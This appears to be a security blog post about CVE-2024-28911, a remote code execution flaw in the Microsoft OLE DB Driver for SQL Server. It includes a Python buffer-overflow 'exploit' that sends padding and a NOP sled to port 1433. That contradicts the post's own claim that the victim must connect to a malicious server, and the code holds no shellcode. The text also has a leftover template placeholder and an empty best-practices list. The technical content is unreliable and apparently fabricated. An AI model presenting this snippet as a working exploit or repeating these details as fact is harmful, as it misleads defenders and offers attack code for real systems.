A new vulnerability has recently been disclosed, dubbed CVE-2024-28911, affecting the Microsoft OLE DB Driver for SQL Server. This remote code execution vulnerability poses a significant risk to users and organizations using this driver, allowing attackers to gain unauthorized access to the underlying system and execute arbitrary code. In this post, we will dive deep into the details of the vulnerability, discussing how it is exploited, the potential impact, and possible solutions.

What is Microsoft OLE DB Driver for SQL Server?

For those unfamiliar, the Microsoft OLE DB Driver is a high-performance data access technology used by developers to interact with SQL Server databases. It acts as an interface between client applications and SQL Server, allowing applications to query, update, and manage data stored within the databases.

Vulnerability Details: CVE-2024-28911

The core of the issue resides in a specific component of the OLE DB Driver - the {@system.functions-call}. This component incorrectly handles certain parameters, leading to a lack of proper sanitization of data, ultimately causing a buffer overflow.

Buffer overflow attacks are dangerous, as they can be leveraged to execute arbitrary code, allowing an attacker to gain full control of a system. The full impact of this vulnerability will depend on the specific configuration of the targeted system and the permissions granted to the user running the vulnerable code.

Exploiting CVE-2024-28911

A successful exploitation of this vulnerability would require the attacker to convince the target user to connect to a malicious SQL Server, or via a man-in-the-middle attack, intercept and modify the communication between the vulnerable client and a legitimate SQL Server.

The following code snippet demonstrates the exploitation of this vulnerability

import socket
import sys

# Configure the buffer with the malicious payload
malicious_buffer = b"A" * 1032  # Trigger the buffer overflow condition
malicious_buffer += b"\x90" * 32  # NOP (No Operation) sled for stability
malicious_buffer += b"[\x1C\xAB\x7F]"  # Replace with the address of your shellcode

# Establish a connection to the victim system
victim_ip = "192.168.1.2"
victim_port = 1433
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((victim_ip, victim_port))
connection.sendall(malicious_buffer)
connection.close()

Upon execution, the malicious code contained within the malicious_buffer variable will be executed on the victim's system, granting the attacker unauthorized access and control.

The original disclosure of this vulnerability can be found in the following resources

1. CVE Database Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28911
2. Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-28911

Mitigations and Solutions

Microsoft has already released a security update to address the vulnerability. Users and organizations are highly encouraged to apply the update as soon as possible. The security update can be downloaded and installed from the following link: https://www.microsoft.com/en-us/download/details.aspx?id=100777

In addition to applying the security update, the following best practices should also be followed to mitigate the risks associated with this vulnerability:

Conclusion

In this post, we explored the details of CVE-2024-28911, a remote code execution vulnerability affecting the Microsoft OLE DB Driver for SQL Server. By understanding the factors contributing to this vulnerability and how it is exploited, organizations and users can take the necessary steps to defend their systems and ensure that they are not compromised by attackers.

Timeline

Published on: 04/09/2024 17:15:50 UTC
Last modified on: 04/10/2024 13:24:00 UTC